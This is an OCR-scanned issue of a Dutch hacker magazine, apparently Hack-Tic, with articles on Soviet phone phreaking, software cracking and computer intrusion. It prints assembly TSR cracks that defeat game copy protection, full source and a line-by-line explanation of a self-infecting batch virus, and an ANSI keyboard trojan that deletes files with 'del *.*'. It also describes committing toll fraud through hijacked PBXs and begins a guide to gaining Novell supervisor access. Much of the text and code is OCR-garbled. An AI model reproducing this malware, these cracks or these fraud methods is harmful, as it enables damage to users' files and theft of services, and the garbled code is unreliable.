Hack-Tic zoekt:

Outline-fonts voor Bitstream-Fontware, leuke Ventura 3.0 extensions, een Nederlandse dictionarny-
fike voor Ventura 3.0, een goedkoop adres voor de OPC-cartridge voor eea FACTT P-6010 laserprinier,
goede electro-CAD software, coen groot en toch betaatbaar woonfwerkhuis met minstens 6 kamers (in
de Randstad) en (lest but not least) schrijfsters en schrijvers die artikelen voor Hack- Tic willen schrijven.
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Het Sovjet-telefoonnet
A story of tin cans and strings.....

Door Rop Gonggrijp

Het is een grote kast, ietwat slordig tegen de gevel hangend, bijna nooit op slot en
er zit cen warboel vao draden in. Het is duidelijk dat elke technicus bet zijue heeft
gedaan terwijl hij vlockte op de vorige die de kast bezocht en zonder zich te
bekommeren om hoe de volgende zijn werk zal moeten doen. Je vindt deze kasten
veel in Moskou en ze laten niet veel te raden over wat betreft de staat van het

telefoonnet.

1k verbleef byj vrienden die hun tele-
foon kregen in 1982, cn hem in 1970
hadden aangevraagd. Zo te zien een
gewone kiesschyjf-telefoon zoals we die
hier ook hebben gehad. Als ik hem had
opengeschroefd, had ik waarschijnlijk
gemerkt dat de diodes die het menselijk
gehoor moeten beschermen tegen de
luide klikken op de hjn tijdens de ver-
bindingsopbouw ontbraken. Het maakt
puniyk duidelijk waarom sommige
oudere mensen nooit kiezen met de
hoorn tegen hun oor.

Binnen Moskou is het bellen nog
redelijk goed te doen: je kiest het 7 cijfe-
rige abonneenummer ¢n je maakl een
redehjke kans dat de juiste telefoon
elders in de stad gaat rinkelen. Qok van-
uit telefooncellen (die alleen lokale ges-
prekken kunnen maken) gaat het goed.
Vanuit cen telefooncel kost een gesprek
2 kopeken (een kopek is 1/100 roebel).
2 kopcken is omgerckend ongeveer 0.03
cent!

Ecn heel ander verhaal wordt het als
j¢ interlokaal wilt bellen. Volgens de
theorie kies je dan ecn 8 en wacht je op
een kiestoon om verder te kiezen met
neinummer en abonneconummer. In de
praktijk is het knjgen van de kiestoon
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een verhaal apart: als het net overbelast
is hoor je eca scric korte piepjes van
dezelfde frequentic als de tweede kics-
toon. Hel register in de centrale klikt
dan door de nitgaande hjnen heen en
komt er achter dat ze in gesprek zijn en
gaat verder. Dit betekent waarschijnlijk
dat de mensen die in gesprek zyn op die
Iijnen ¢en klik horen terwijl andermans
register kijkt of de lijn vrij is. Na 5 keer
proberen geeft het register het op en
hoor je de in-gesprektoon.

Komt het gesprek tot stand dan is de
twaliteit van de verbinding in teder
geval op z'n best belabberd. Het kan zijn
dat de andere kant zo verewakt klinkt
dat cr geen gesprek te vocren is, en ook
veelvuldig klikken en cen harde ruis
behoren tot de mogelykheden.

Om een informatic-operator in cen
andere stad te bereiken kies je een 8 en
dan bet netnummer van die stad en dan
een nummer dat per stad verschilt. De
nummers van moskon staan in een luxe
gcbonden telefoonbock (het verandert
toch met zo snel aks bet 12 jaar duurt om
een lijn te krijgen). Ook de informatie
nummers slaan in elk telefoonboek.

Internationaal bellen vamuit de Sov-
jet-Unie kan op drie manicren:




Je kunt bij een groot internationaal
hotel een telefoonkaart kopen en ge-
bruik maken van de internationale tele-
fooncel in dat hotel. Deze cellen accep-
teren niet alleen de speciale kaarten,
maar ook American Express en Master-
card. De kaarten kosten 30 roebel per
stuk, maar j¢ moet z¢ wel kopen tegen
de 2:1 koers dic het hotel hanteert
(gcwone koers 60:1). Het gesprek kost
op deze manicr zo’'n 10 gulden per
minuut naar Europa, naar Amerika is
het nog duurder.

Je kunt het gesprek aanvragen bij de
telefoniste in Moskou. Je moet ongeveer
een uur proberen om er door te komen
en het gesprek moet 24 uur van tevoren
worden aangevraagd. Kosten: ongeveer
50 cent per minuwt (het gemiddeld
maandsalaris in de Sovjetunie is om-
gerekend £20,-).

Je kunt ook direct naar het buiten-
land bellen door ecrst cen 8 en dan 10 te
bellen, gevolgd door het landnummer,
netnummer en abonneenummer. In de
Moskouse Pizza-Hut ben ik cen Neder-
landse student tegengekomen die in huis
woont met iemand die weer iemand zegt
te kennen die het wel cens gelukt 1s om
op deze manicr cen gesprek tot stand te
brengen. Ik heb het zelf enige uren ge-
probeerd maar ik ben er niet doorheen
gekomen. Na alles te hebben gedraaid
volgt steevast een bandje in het russisch
dat me mededeelt dat mijn gesprek he-
laas is gestrand,

Goed, dan maar zelf een beetje rond-
klooien. Gelukkig had ik mijn Rainbow
Warrior (dc voorganger van de Demon-
Dialer) bij me. Met dit kastje kon ik alle

toncn maken die voor het besturen van

aardse telefoonnctten nodig zijn. Ik
belde de informatie-operator op een
lange verbinding (Moskou-Wladiwos-
tok) en hoorde toen zij opnam een
piepje dat verdacht veel leek op een
2600 Hertz toon zoals ook vroeger in het
Amerikaanse systeem gebruikt werd. Tk
belde nog eenkeer en gaf nu zelf de toom
via de microfoon en .... weg was de ver-
binding.

Nog een kwartier later wist ik dat een
heel kort piepje het sein was om weer
een nieuwe verbinding op te bouwen (de
ceatrale reageerde met een kort toontje
om me te zeggen dat ik kon begionen
met het sturen van de cijfers). Ik heb het
een en ander geprobeerd maar koo het
juiste formaat die avond niet meer vin-
den. Wel boorde ik op de achtergrond
de signalerings-riedels van andere ges-
prekken en ik kon opmaken dat het ging
om ¢en systcem dat werkt met MF-
toncn en dat er veel digits werden gezon-
den. Waarschijnlijk wordt zowel het ge-
belde als het bellende nummer verzon-
den, zodat eventuele autoriteiten on-
middelijk kunnen zien wie wie belt. Ik
bestoot de wolgende dag binnen te
bliyjven om het allcmaal cens goed op cen
rijtje te zetten. Echter, toen ik wakker
werd reden er tanks door de straten en
was er een klassiek pianoconcert op TV.

Is dit een klassiek voorbeeld van een
overheid die paniekerig wordt als men-
sen met het telefoonnet spelen of was er
meer de hand? De geschiedenis zal het
ons leren. In ieder geval was binnen zit-
ten en spelen met de telefoon er tot mijo
vertrek niet meer bij. Maar de zucht
naar kennis blijft en misschicn schrijft
iemand dic dit stuk [eest het vervalg.
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KRAAK!

Een nisuwe rubriek door V.i. Ulignov

Hack-Tic denkt aan haar lezers. Daarom hebben wij besloten onze al aanzienlijke dienstverlening
nog verder uit te breiden. Hier koroen de diverse software-beveiligingen aan bod. Natvurdijk is deze
informatie uitsluitend bedoeld voor legitieme kopers van oorsponkelijke programma's die het zat zijn
steeds in de handleiding (= moeten zoeken naar sleutchwoorden e.d., of die graag een backup willen
kupnen maker van hun dure diskette. Maar dat wisten jollie al.

Om te beginoen nemer wij twee bekende programma’s hier onder de loep. IHet is viteraand de
bedoeling dat de lezers deze rubrick draaiende houden door lestige pakketien azan ons op le sturen. Let
op: Als het om een handware beveiliging gaat (zoals een zogenaamde “dongle™), heeft het geen zin om
allcen de software toe tc sturen. Wij hebben dan de hele hap nodig. Na het kraken daarvan wondt alles
(misschien) teruggezonden mits een geadresseerde en pefrankeerde emveloppe bijgevoegd wordt met
een verzoek tot terugzending, als de begeerde benodigheder intussen nict zockgeraakt zijn, en als wij zin
hebben. Zoals gebruikelijk geven wij geen enkele garantic, maar wal verwacht je van cen gratis dienstver-
lening?

Ook mensen die zelf op onginele wifre ¢en programma gekraakt hebben worden verzocht hun
bezigheden goed te documenteren en de hele hap aan ons op te sturen.

Natuurlijk gaat het ons niet om het kraken van andermans duor ontwikkelde software, maar om het
anderzocken van interessante beveiligingstechnicken. Wij nemen aan dat anderen die interesse met ons
deben. D hier beschireven kraken zijn dus vitsleitend voor educatief doeleinden Bedoeld. Misbruik ervan
wordt in het hiernamaals zwaar bestraft.

688 Attack Sub

Bij hel opstarien van 688 Attack Sub, verschijnt cen tekst dic jo moet afmaken met behulp van de
handleiding. Er zijn tentallen mogelijke teksten. De tekst die je 1e zien krijgt is afhankelijk van het
gekozen spel en de DOS tijd teller. Ben heel eemvondig manier om dit lastig te kraken sped toch te kraken
is gewoon een TSR te maken die de DOS tijd call oaderschept, en altijd dezellde waarde teruggecft (in
dit geval 0). Dit brengt het mogelijke aantal teksten terug tot vijl, dic in de TSR weergegeven rijn. De
TSR zell kan vanuit eca batch file peinstalleerd worden voor het runnen van 688, en daama weer
verwijderd worden door het programma cen tweede keer te runnen.

Aardige bijkomstigheid: Dit truukje lost 0ok een bug op, die na cen tijdje spelen allcs vast faat lopen.

fucksub seqment
org 100h
assume cs8i1fucksub, ds:fucksub, es:fucksub
begin: mp start
old21h dd 0
¥
new?lh: pus ht rDOS FUNCTION INTERRUEPT REVECTOR
cop ahk, 2ch s TIME FUNCTION REQUEST
jne done
nOT dx,dx
popf
iret :RETURN WITH 0O
Ao = popf
Jup csi[old21k] ; DO INTERRUPT
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H
start:

mov ax;3521h 1GET DOS VECTCR

int 21h

nov ax,as:[bx+2]

cEp ax, 2cfch ;CHECEK IF TSR INSTALLED

7 v install N0, IRSTALL

mnoV dx,es:[bx-4] :YES, UNINSTALL

ROV da,est[hx-2]

ROV ax,2521h ;RESTORE VECTOR

int 21h

nov ah,4%h : FREE MEMORY

int 21lh

ret ; DONE
install: nov si,80h {CBECE DISPLAY PARM

ROV ax,[si)

cnp al,o

ja akip

cap ah, /"

Ja akip :NO DISPLAY

lea dx,string ; DISPLAY KEY TEXTS

Bov ah,9

int 2th

Xor ah,ah

int 16h IWAIT FOR EEYPRESS
skip: lea ai,oldzlh :SAVE VECTOR

DoV [B8i],bx

nov {gi+2], eB

lea dx,new2lh

nov ax,2521h

int Z21lh ;REVECTOR

nov as,cs:[2ch) ;RELEASE ENVIROHMENT

nov ah,4%h

int 21h

lea dx,start

int 27h GO RESIDENT
string db 13,10,10
db FOCESUB.COM -- the 688 crack’,13,10,.10
db 'Peasible key codes:',13,10,10
db '"Oklahcma ... ballast tanks™ 1 FIL',13,10
db '"Albany ... 10" t DIF,13,10
db '"Baton Rouge ... navy wants" | our ,13,10
db '"Richover ... your submarine is the" FIE',13,10
db '"Richover ... top-down map gives you*" : AER',13,10,10
db 'The codes only change when you change games. Run FUCESUB before
and after’,13,10
db '6B8 in a batch file. Add a delimiter ("/") to kill this message

acreen. ' 13,10
db 'Press a key to contimve ...",;13,10,10,36

fucksub

ends

end bagin
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2. Larry Il

Larry [Iis bekend vanwege die vervelende teleioonnummers. Het probleem is dat de oummers gecrypt
in een bestand staan, Pas als ze nodig zifn, worden z¢ ingelezen cn gedecrypt. Gelukkig zijn de eerst drie
cijfers altijd hetzellde, 355, en komen z¢ voor elk nummer. De volgende TSR onderschept de DOS
"READ FILE" funktic en kijkt in de juiste plek van de geheugen naar *555%. Daarna wordt jeder nunmer
opgezocht in het geheugen en overschreven met "0000%. Hicrma wordt de TSR uitgerel met een flag bit.,
Ditvoorkomt dat het programma het geheugen bigit afzocken bij icdere READ funktie, wat de werking
van de spel aanzienkijk zou vertragen.

Nu hoeft je alicen “0000" in te tikken, wat altifd gziijk is 2an het gokozen nummer in het geheugen.
Door dit programma op e roépen vanuit e¢n batch file voor ¢n na hét runnen van Larry 1I, wordt het na
het spel weer vit de geheugen verwijderd.

larcy2

]
start:

flag
oldZzlh

4
new2lhi

crackit:

scanit ;

; DOS INT REVECTOR

;ACTIVE PLAG

;ACT NORMAL IF SET

: CHECK, READ FILE FLAG

: CHECK MEMORY IF SET
;CHECE FOR READ FILE FUNC

: OTHERWISE LET CALL THROUGH
:SET READ FILE FLAG
:CONTINUE INTERRUPT

;SAVE REGISTERS

;OFFSET TO SCAM FROM

;CHECE FOR PROME NUMEBER PREFIXES
+ IF NOT (YET) PRESENT SKIP REST
; AMOONT OF MEMORY 1O SCAN

:MOVE UP TO HEXT PREFIX

;END OF SERIES

;CHECK FOR "555™ PREFIX
: IF BNOT EEEFP TRYING

jOVERWRITE MUMBER WITH 0O

s DEACTIVATE TSR

gegqueaent

org 100h

assume ca:larry?, ds:larry2
inp install
db 1]

dd 0

pushf

tesat ca:iflag,l
jnz doint
teast ca:flag,2
inz crackit
CEp ah, 3fh

jne doint

or carflag,2
jmp doint
puah ax

push cX

push di

puzh :1:]

push ds

pap eb

mOY di,0halah
MmOV al;as;{di]
ounp al,i5h

jne done

nov Ccx,3elh
cld

XHOV al;i5h
rapne acasb

inz done

nov ax;es:[di]
cmp ax,3535h
jne scanit
add di,3

Bov ax,1030h
mov es:[di),ax
mov ap: (di+2] ,ax
or ce:flaqg,1
imp scanit
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dane:

doints

in:talll

anin:tnlll

akip:

!

string db

just’,13,10

EgEEVREsE F8R8R3E

int
rat

Bed

ja
€mp
je
lea
moy
int
zor
int
lea
nov
nav
lea
mov
int
nov
[ Telg
int
lea
int

carflag,l
en
di
et ]
ax

csiold2lh

ax,3521h
21h
ax;en1[bx+2])
akx, &féh
doinstall
dx, ed: [bx-4]
da,eat[bx-2]
ax,zx521h
21h

ah,49h

21h

ni;ﬂﬂh
ax,[ei]
ﬂ-lpn

skip
ah,2fh
akip
dx,string
ah,%

Z21h

ﬂh;ﬂh

16h
si,old21lh
[el].,bx
(Bi+2], o8
dx,new2lh
ax,2521h
21h

as, 2ch
ah, 4%h
z1lh

dx, install
27h

;RBACTIVATE READ PILE FLAG
;RESTORE REGISTERS

;DO IRTERRUPT

{GET VECTOR

:CHECE IF INSTALLED
JHO, INSTALL
J¥YES, UNINSTALL

JCEECE FOR DISPLAY PARM

;BRIP MEESALE
;DISPLAY MESSAGE

WAIT FOR KEYSTROKE
s INSTALL TER

§30 RESIDENT

13,110,190, *The LARRYZ crackl®,13,10,10
db ‘Run this program from a batch file before and after *SIEBRRA". Then

db 'type *0000" as the phone number. The program will load slower but

will’ ¥ J.:'l'; 10

db ‘run normally after you have entered the phone number.’,13,10,10
db ‘Add a delimiter [*LARRY2/") to kill this message screen.’,13,10,
db ‘Press a key to continue ...",13,10,10,35

larry?

endo
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Alliance Teleconferencing services.

Alliance is een dochter-maatschappij van AT&T (de Amerikaanse PTT) dic cen
scrvice levert die wel erg interessant is voor de gemiddelde phreak, Via hum systeem
kun je namelijk vergaderen per telefoon. Je kunt Alitance op een aantal manicren
bereiken, namelijk via:

Alliance Dral-Out Service:

0+ 700 +456-100X.

0+ 700 + 456-200X

0+ 700 +456-3000

Al je voor X een 1 draait dan krijg je Alliance in Reno, met 2 krijg je ze in Chicago,
met 3 in White Plains (NY) en met een 4 krijg je ze in Drallas,

Draai jc voor X een 0 dan krijg je het Alliance Conference Center dat bet dichtst
bij jou =t (of het dichist bij de PBX of diverter die je gebruikt).

Hoezo PBX/diverter? Dit zijn Amerikaanse nummers die je niet "zomaar’ kunt
bellen! Je moet ecn diverter (doorkiezer) of een PBX (bedrijfscentrale) in de VS
kraken om vervolgens een nieuw uitgaand gesprek te maken, zodat het telefoonnet
denkt dat jc vanuit Amerika belf, Misschien hierover een andere keer meer.

Het 0700-456- 100X nurmmer is "Albance Teleconfereace 1000 Dial-Out Service'.
Deze service geeft je de mogelijkheid om eenvoudig roet een Touch-Tone telefoon
(of Touch-Tone dialer) een conferentie op te zetten.

Met 0700-456-200X kun je cen "GRAPHICS CONFERENCE? opzetten, met als
deelnemers modems, faxcn en dergelijke. Met het laatste nummer (0700-456-3000)
kun je tegelijkertijd ecn voice conference en een graphics conference opzetten. Je
moet eerst 1-B00-544-6363 bellen om van deze mogelijkbeid gebruik te kunnen
maken.

Je kunt €én van deze conferences opzetten door de bovenstaande nummers te
bellen. Dan krijg )¢ ecn aardige (computergegencreerde) vrouwenstem. De stem
vertelt je precies verielt wat je moet doen, namelgk: '

e het invoeren van het aanlal personen dat je op je conference wilt hebben {met ecn
maximum van 15, inclusicf jezelf).

@ het invoeren van het nummer dat je als eerste wil bellen (1 + areacode + nummer
of 011 + landnummer + nummer),

® als je de persoon aan de lijn hebt die je in je conference wil hebben druk je op #.

e als je die persoon niet op je confereace wil hebben druk je op *.

@ dan kun je weer een ander bellen of met # zelf op de conference komen.

Je hebt dus 2 onderdelen in een Alliance Dial-Out Conference, een dial-mode en
ccn Conference mode. Je kunt van de één naar de ander komen door op het # te
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drukken. Wil je de bulp van cen operator dan moet je 0 drukken als je in dial-mode
bexnt.

Ping-Ping

De kosten van een Alliance Dial-Out Confercnce zijn:

® 335 set-up kosten

# standaard AT&T telefoonkosten vanaf de Alliance Conference Center tot de
personen die je bekkt.

® $0.25 voor elke lijn die je gereserveerd hebt (het maakt nict vit of die in gebruik
is of niet!).

® als je cen Alliance operator je conference laat opstarten dan kost dat $3.50 per
lijn extra.

Deze kosten worden via de AT&T telefoonrekening gestuurd naar het telefoon-
aummer waarvan jij als *Conference Leader’ belt. (dus niet een calling-card/credit-
card of zoiets) Als je dus eer PBX gebruikt dan wordt het naar dat bedrijf gestuurd!

Meet-Me

Ook kun je Alliance gebruiken via de Alliance Meet-Me Service: Deze service is
bedoekt voor het opzetten van conferences waar je naartoe moet bellen als gebruiker
(in tegenstelling tot de Alliance Dial-Out Service, waarbij alleen de 'Conference
Leader’ belt en de anderen allemaal gebeld worden door de "Conference Leader’).

Deze service werkt bijna net zoals de 'party-lines’ in Nederland. Je belt een
bepaald nummer, en je wordt gekoppeld aan alle andere personen die ook dat
nummer kebben gebeld.

Het opzetten van een Meet-Me conference gebeurd door middel van cen Alliance
operator. Deze kun je bereiken door 1-800-544-6363 te bellen. Deze operator zal je
dan vragen naar het nummer waar hij/zij jou op terug kan bellen, dit om jouw
identiteit te verifieren en om de kosten van de Meet-Me conference naar dat nummer
door te sturen. Wanneer je de Meet-Me conference opzet wordt je gevraagd hoeveel
mensen er ongeveer zullen bellen. Daarna krijg je 2 nummers, 1 is voor jou als
‘Conference Leader’ en de andere is het nummer die je kunt uitgeven aan alle
personen die je op de Meet-Me conference wil hebben.

Met het nummer voor jou als "Conference Leader’ kun je mensen van je con-
ference afgooien en nog wat meer opties. Dat nummer moet je natuurlijk niet
uitgeven, dan zou iemand anders de conference kunnen stoppen.

Have pbun!
The Miracle Kid
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TICVIRUS.BAT

(1} €ctty nul:

(2y copy #0.bat/A snotkop.&&&/A

(2) eacho HACK-TIC >snotkop.##d

(3y echo :ireutel >> anotkop.###

{4y echo ctty con: >> snotkop.###

(5) copy snotkop.&&&/B+ snotkop.¥##4/B

(6) echo copy %%l snotkeop.$5$ > snotkop.bat

(7 echo copy snotkop.&&& %%1 >> snotkop.bat

(8) echo copy %%1/B+ snotkop.$5$ >> snotkop.bat
{9 echo attrib +r %%l >> anotkop.bat

(16) attrib +r snotkop.bat
(11y for %%f in {r.bat) do command /¢ snotkop %%f

(1zy attrib -r snotkop.hat
(13) del snotkop.=*

(14y goto reutel

(15) <EOF>HACK-TIC
(16} :reutel
(1} cCtty con:

- - . R S el e Gk ek ek e ey R S S mmm mmm mmm e e emr

Batch-Virus voor IBM-PC en klonen.

De uitleg

Als je dit virus bekijkt vall je misschien iets op: er staat op regel 15 ¢en BOF in vette Jetters. We
bedoelen hier het EOF-teken, waarvan de ASCHI waarde 26 is. De meeste editors baten toc dat je dit
teken midden in je file opneemt als je het intikt door de ALT-toets vast te howden 1erwijl je 26 intikt.

Op de cerste regel zet het virus de schermoutput wit deor alle console-ifo naar de nul-device (de
prullebai) te verwijecn. Door con apestaartje voor dit commando te zetten is ook dit commando zelf niet
wchtbaar, Vervolgens kopieert het virus in regel 2 de aangeroepen batchfile (%60 in D05 batchtaal) naar
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de fije snotkop.&&&' omdat achter de source-file een fA staat gaat de copy niet vender dan het EOF
teken en wordt dus het laatste stukje niet meegekopicerd. Zouden we dit wel kopieeren dan zou ook het
drager-programma waaraan deze parasict vastzt gekopieerd worden, en dat willen we niet. Door achter
de destination file ook een /A te retten zorgen we ervoor dat copy het EOF-teken achiter de destinabion-
file plakt.

Achter dit EOF-teken moet de comspronkelijke batch-file staan, maar dan mag DOS nooit proberen
om het EOF-teken uit te voeren, want dan hangt het systeem. We moeten dus ecn goto-label na het
BOF-eken necrzetten. Dit moet echier niet op dezelfde regel als het BOF-teken en dus moeten we eerst
cen pasr dummy tekens achler het EOF-teken zetten. Wij kozen de string "HACK-TIC. In regel 2, 3 en
4 maken we het staartje van de file opaicuw aan ¢n stoppen we het in de file ‘snotkop.###'.

Vervolgens plakken we op regel 5 de files ‘snotkop. £&.&" en ‘snotkop. ###° aan elkcaar in 1 file,
namelijk ‘snotkop.&& &' (het + tcken schter dic naam in de copy betekeat dat copy zijn output weer in
die file terug moet stoppen). De /B betekent dat het hier gaat om zen binary-copy, d.w.z. dat het
EQF-teken aan het cind van de corspronkelijke file snotkop.&&& blijft stann cn dat et aan het eind van
de ‘nicuwe’ file ‘snotkop.&&&" geen EOF-teken word! toegevoegd.

In regel 6 tYm 9 makea we cen hulpfile aan die *siotkop.bat’ beet. Deze file doet het cigenlijke
besmeitingswerk; de batch-file bevat aan bet ¢ind van regel 9 opdmachten om zijn argument {de te
besemetten batch-file) te kopieren naar ¢en tijdelijke file ("sbotkop 535, vervolgens de fike ‘snot-
kop-&&&' ervoor in de plaats te zetten (bet complete virus zonder het dragerprogramma, 20als zojuist
gedestilleend} en vervolgens het verplaatste dragerprogramma er weer aan vast te koopen.

Op regel 9 is het mechanisme te zien dat er voor zorgt dat het virus niet twee keer denelfde fike (of
zichzelf) besmet. Als het virus zichzelf zou besmetten zom de computer hangen, met alle nare pevolgen
van dien. Het virus zet d.m.v. het DOS-commando "atirib® de read-oaky bit van de besmelte files aan.
Deze bit, die zich in de DOS directory bevindl geeft aan dat cen Hle nict beschreven mag worden. Als
ditzedfde virus in een later stadium probeert om deze file nogmaals te besmetten zouden slechis een lading
foutmeldmgen het gevolg 2ijn, ware het niet dat alle schermuitvoer gedurende de witvoerniag van dit virvs
in de prullcbak wordt gesmeten. In regel 10 zet het virus ook nog even de read-only bit van "snotkop bat’
zelf aan (deze hoeft niel besmet, het is een lijdelijke file).

Heel belangrijk: Als je het programma hebt ingetikt moet je er dus met ‘attrib +r ticviros.bat' voor
rorgen dat de read-only bit aanstaal, anders zal je programma zichzelf proberen te besmetten en hangt
de computer.

Op regel 11 begint het echie werk: door middel van een DOS-batch commando dat in echre
Microsoft-stijl 1otaal onleesbaar is wordt opdracht gegeven om voor alle Gles in de huidige direciory die
voldoen aan de filespecificatie **.bat’ een niewwe DOS-commandinterpreter op te starten die op zijn
beurt weer "snotkop.bat’ vitvoert met als argument de te besmetien file. Dit lijkt omslachtig, maar onder
DOS is het helaas nict mogelijk om batch-files vanuil endere batch-files aan te roepen in deze constructic.

Nadat alle files besmet zijn zet het virus de read-only status van sootkop.bat weer ait (regel 12) en
wist het alle ‘snotkop.®’ files (regel 13), zodat er geen vreemde files in de directory overblipven. Dan
springt het naar reute]’, her zet op regel 17 de schermuitvoer weer aan ¢n voert de batch-commandos it
die in het dragerprogramma staan. De user merkt helemaal niets.....

dat wil zeggen, als hij geen enke) besef van tijd heeft. Voor de mensen die hopen met dit virus
destructieve dingen te kunnen doen ("del *.*", format &', noem maar op), hebben we een trieste
mededeling dit virus is langzaam en niet z0'n beetje ook Microsoft heelt namelijk besloten dat batch-files
nict in bet gehengen ingelezen worden maar dat elke regel apart van disk gelezen wordt, en dat heeft op
zijn zachtst gezegd een desastreure invioed op de verwerkingssnelheid, Ook het feit dat we voor elke
besmetling een niewwe commandinterpreter moeten laden belpt niet echt mee.

Wij hebben dit getest op een ATI86/33MHz en over het besmetten van 7 batch-files doct het systeem
toch al gauw z0'n 40 seconden. De kans dat cen gebruiker dit niet door heeft s erg kiein. We zeiden bet
4l in het colofon: "alleen voor educatieve doeleinden’.
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ANSI Virussen

ANSI is een internationzai gedefineerde reeks van stourkodes om alleriei leuke
dingen met je scherm en toetsenbord nit te halen. Zo koo je met behulp van de ANSI
driver leuke tekeningeties op iemands scherm toveren (in allerlei kleuren) terwijl
Je pewoen ASCII tekst overseint.

Je kun met behulp van de ANSI-driver ook toetsen herdefinieeren. Dit kan dan
gebruikt werden om bijvoorbecld telix op te starten met een simpele druk op de F1
toets, maar het is ook mogelijk dat iemand dit gebruikt om stap voor stap je
directories leeg te maken. Dit gaat zo snel dat voordat je op Ctrl-C kan drukken er
al aardig wat schade is aangenchi.

Hoe werkt het?

Het berdefinieeren van toetsen is redelijk simpel. Het commando is:

<ESC>[ {toetsenr}, {char}, {char}, {etc...}p

Waar de < ESC > eenescape is (ASCII waarde 27), entoctsor de decimale ASCII
waardc van de te herdefinieren toets, en daarna de ASCII waardes van de karakters
die erin moeten komen. Dus, om onder de spatichalk het woord hacker te zetten,
neem je eersl de waarde van de spaliebalk, dat is 32. Daarna de afzonderlijke letters
van het woord HACKER:

H=7L,A=65C=67,K=75E=6,R =8

Dus het commando wordt <Esc>(32,72,65,67,75,69,82p

Als je hicrna op de spatiebalk drukt, komt er in plaats var cen spatie het woord
HACKER te staan. Het kan ook makkelijker, door het woord tussen aanhalings-
tekens te zetten. Hetzelfde kan dus bereikt worden met <ESC>[ 32, "HACKER"p

Virussen

Het 1s met deze kennis redehjk simpel om te begrijpen hoe ANSI virussen werken.
{Trouwens, icdereen heeft het over virussen, maar eigeniijk zijn bet trojan-horses).
ANSI-virussen kunnen verwerkl zijn in ANSI tekeningen, of in messages op bbs’en
(werkt niet op RA/QBBS/SBBS). Hier volgt cen voorbeeld van cen ANST virus. Dit
zat i een file FREEHST.ANS op een BBS. 1k heb allecn het gedeclie met het virus
overgenomen. Alles stond pewoon op een regel:
<ESC>[32;113;13;101;99;104;111;102;102;13;99;108;115;13;10
1;99;104;111;32;121;32;124;32;100;101;108;32;42:46;42;32;6
2;32;110;117;108;13

Dit s nog maar een kicin gedeelte van het echte virus, ik zal hem nu even
opsplifsen, en witleggen wat het is:
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<ESC>[32;113;13 <gpace> wordt g, gevelgd
door eaan return

Deze q zorgt ervoor dat bet ingetikte commando ongeldig wordt zodat DOS het

niet vitvoert, maar er slechts met een "Bad command or file name’ op reageert.
+101:99;104;111;32;111:102;102:13:echo off

+99:108:115;:13 tcls
{de rest} techo y [ del *.+ null

Dus, zodra iemand nadat deze file bekeken is op de spaticbalk drukt worden alle
files in de dir waar hij in zit gewist.

Het kan nog erger: het had nog verder door kunnen gaan, met cd .. en cen
herbaling van dit alles totdat in de root-directory ook alles is gewist. Het is zelfs
denkbaar om een ansi-trojan als loader te gebruiken voor een echt virus,

Zelf vind ik het veel leuker om via messages verborgen berichten door te geven,
zZoals; <ESC>[13;* Greetinx from Northstar...";1l3p

Uitschakelen van toetsen

Het uitschakelen van ¢en bepaalde toets gaat met <ESC>[ (toets}p. Dus, door
<ESC>[ 32p te geven, werkl de spaticbalk gewoon miet meer, totdat de computer

gereset wordt, of cen <Esc>[ 32 ; 32p gegeven wordt.

Have Phun and X-periment,

Northstar Ken.
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Novell Netware is niet te kraken !!
(err erige andeve fetigens)

Disclsimer: onderstaand artikel is alicen bedoekd voor cducaticve doelcinden, probecr dus geen
systemen binnen te dringen met onderstaande trauks. Spreck ook altijd met twee woorden en help cude
omaaties met cversteken.

Dit stukje is bedoeld om hackers ¢n opsporingsambtenaren dic met Novell 12 maken krygen, op weg
te helpen. In dit artikel schrijf ik over Novell-versics die lager zijn dan 22x of 3ux, maar veel van de
besproken principes zija ook breikbaar bij de kogere versics. Novell netware is een vrij nieuw netwerk
OS, dat ecn grote gebruikersvriendelijicheid koppelt aan vitstekende beweiligings-mogelijkheden. Een
Movell netwerk is snel, makkedijk te beheren, en voor zelfs de meest onervaren gebruiker makkeliji te
bedienen. Tot zover de folder.

Voordicgenen die bij het horen van de nasm Novell acuut Last krijgen van hoofdpijn ea een lege blik,
eerst even een kicine vitleg over wat het is ¢n wat het doet:

Novell Netware is een OS dat is ontworpen om verschillende soorten PCs snel en goedkoop met
clkaar te verbinden (dal laatsie is nict helemaal gelukt trowwens). Het netwerk bestaat altijd vit minsicns
een server en ecn aantal werkstations. De server is mecstal dedicated, soms niet. In zo0'n geval kap de
server dus 00k nog gebruikt worden als werkstation).

Het netwerk is zeer flexibel van opzet: er kan vrij gemakkelijk een werkstation aangekoppeld worden,
ak het maar beschikt over een netwerkkaart o de juiste software. e principe is bet dus ook mogelijk om
een werkstation aan te koppelen in een netwerk zonder dat iemand dat merke.

Omdat Novell zo flexibel is, is het ook mogelifk om by, UNEX of VMS aan het netwerk te koppelen.
(Gejuich op de achtergrond). [o bet netwerk zelf kun je, (als je genoeg rechien hebt) door middel van
menu-gesiuurde utilities je weg vinden (hier vertel ik later meer over). Om al dic utihities te kunnen
gebruiken heb je slechts een ding nodig: een peldige login. Gm het gebele systeem t¢ kunnen verkennen
heb je de login nodig van de systeem- beheerder (supervisor). Dus [oop zijn kantoortje even binnen en
vraag erom. Klaar i Kecs. Tewaij... hij jou zijn login siet wil geven, vanwege de procedures, veiligheids-
regels, of gewoon omdat hij zich God van het systeem waant. Domme mensen nemen dan hun toeviucht
tot bedreigngen, lijfelijk geweld, het vastbinden van hete strijkifzers op supervisors buik cic.etc.

Slimme mensen maken gebruik van hun supericure intelligentic en creativiteit om, met het klassick
amerikaans gezegde "fuck the rulkes’ in het achterboofd, op cen minder fysicke manieraan het felbegeerde
supervisor-privilege te komen. En voila, de datatravellers, keyboardcowboys, cybernauts oftewel hackers
komen in actie. Zo, dat was ecn hoop gelul dus nu op naar de actie:

Inloggen op Novell

Om in te kunnen loggen bij een Novell aetwerk beb je een username en meesial ook een password.
Voor uscrname ¢n password wordt geen onderscheid gemaakt tussen hoofd- en kieine letters. Als je geen
geldige usernaam opgeeft, vraagt Novell toch nog om ¢en password, dit om het zoeken naar geldige
usernames bijna oamogelijk te maken. Geef je een ongeldige login, dan krijg jo de meling "access
denied®, en je wordt weer uitgelogd.

PAS OP: Bij de meeste versies van Novell is het voor de supervisor mogelifk om intruder-detection
aan L= zetten. Als dit aan staat dan wondt een account na cen x-aantal nislukie inlogpogngen pelocked:
de bewuste user kan dan niet meer inlogpen. Alleen de supervisor kan dat account dan weer unlocken.
Dit kan ook erg handig zijr als j¢ vooriopig iemand niet op het netwerk wilt hebben.

Als Novell geinstallesrd wordt, is het standaand voorzien van twee users:

®Supervisor - de systeembeheernder, kan en mag alles, is baas over het systeem.

